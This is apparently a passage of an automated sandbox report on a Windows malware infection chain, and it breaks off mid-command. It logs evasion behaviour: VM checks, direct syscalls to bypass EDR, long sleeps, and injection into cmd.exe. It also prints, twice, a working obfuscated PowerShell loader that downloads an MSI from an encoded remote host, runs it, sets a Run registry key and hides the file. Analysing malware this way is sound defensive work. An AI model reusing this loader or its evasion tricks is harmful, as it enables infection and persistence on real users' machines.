Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	API/Special instruction interceptor: Address: 67327C44
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	API/Special instruction interceptor: Address: 67327C44
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	API/Special instruction interceptor: Address: 67327945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 67323B54

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4096			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5721			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jwhchx

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2996	Thread sleep time: -18446744073709540s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4076	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570015CE FindFirstFileA,		6_2_570015CE
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Code function: 6_2_570015D6 FindFirstFileW,		6_2_570015D6

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: svchost.exe, 00000015.00000002.2904141393.0000019994054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2902247579.000001998EA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: mshta.exe, 00000000.00000003.2555514727.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\!F
Source: comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: powershell.exe, 00000001.00000002.1872940713.000000000795C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FF73AA43A30
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtReadVirtualMemory: Direct from: 0x7FF73ABCCDE2
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQueryInformationProcess: Direct from: 0x7FF73AA52050
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQueryValueKey: Direct from: 0x14011D93E
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FF73A9996FD
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQueryInformationToken: Direct from: 0x7FF73AA69A61
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQueryInformationProcess: Direct from: 0x7FF73AA5246B
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FF73AA3ED9D
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtReadFile: Direct from: 0x7FF73AA4C0E1
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtClose: Direct from: 0x14011D864
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FF73AA332A3
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE221E4B5E
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtReadFile: Direct from: 0x14011D832
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtClose: Indirect: 0x14012000F
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FF73ABD0FD4
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtClose: Direct from: 0x7FF73ABD2227
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtClose: Direct from: 0x7FF73ABD2249
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQuerySystemInformation: Direct from: 0x7FF73AAD7D9B
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQuerySystemInformation: Direct from: 0x7FF73AA43283
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FF73ABDA1F6
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FF73ABDA11E
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FF73A995626
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FF73AA4C084
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FF73AA50CF7
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtSetInformationProcess: Direct from: 0x7FF73AA51F69
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x7FF73AA4336B
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtCreateFile: Direct from: 0x14011D7A4
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FFE221C26A1
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtCreateFile: Direct from: 0x7FF73AA43589
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	NtQuerySystemInformation: Direct from: 0x76EF63E1
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtCreateThreadEx: Direct from: 0x7FF73A995790
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtCreateFile: Direct from: 0x7FF73ABCFB08
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtProtectVirtualMemory: Direct from: 0x7FF73ABD0BA6
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtSetInformationProcess: Direct from: 0x7FF73AA5302B
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtCreateFile: Direct from: 0x7FF73ABCCFC5
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x14011D808
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtQuerySystemInformation: Direct from: 0x7FF73AA3E8F1
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtAllocateVirtualMemory: Direct from: 0x140120A3C
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	NtSetInformationThread: Direct from: 0x6F802AD0
Source: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe	NtClose: Direct from: 0x7FF73ABD223B

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe protection: read write
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe base: 14011BC08
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe base: 322010

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy unrestricted function ogedcacl($flnmpbxk, $agmxac){[io.file]::writeallbytes($flnmpbxk, $agmxac)};function pnjtla($flnmpbxk){if($flnmpbxk.endswith((bshfjqp @(4244,4298,4306,4306))) -eq $true){start-process (bshfjqp @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $flnmpbxk}else{start-process $flnmpbxk}};function jsnvceiix($flnmpbxk, $vqwqyetv){[microsoft.win32.registry]::setvalue((bshfjqp @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $vqwqyetv, $flnmpbxk)};function fvpequfa($flnmpbxk){$icpwe=(bshfjqp @(4270,4303,4298,4298,4299,4308));$ywlpnbbh=(get-childitem $flnmpbxk -force);$ywlpnbbh.attributes=$ywlpnbbh.attributes -bor ([io.fileattributes]$icpwe).value__};function cbgqtta($kpswxupu){$mswcv = new-object (bshfjqp @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12;$agmxac = $mswcv.downloaddata($kpswxupu);return $agmxac};function bshfjqp($scjspqnz){$ppswrynz=4198;$eqbspukg=$null;foreach($kpmiigix in $scjspqnz){$eqbspukg+=[char]($kpmiigix-$ppswrynz)};return $eqbspukg};function pateg(){$hdgyp = $env:appdata + '\';$yscplg = cbgqtta (bshfjqp @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$ieiuk = $hdgyp + 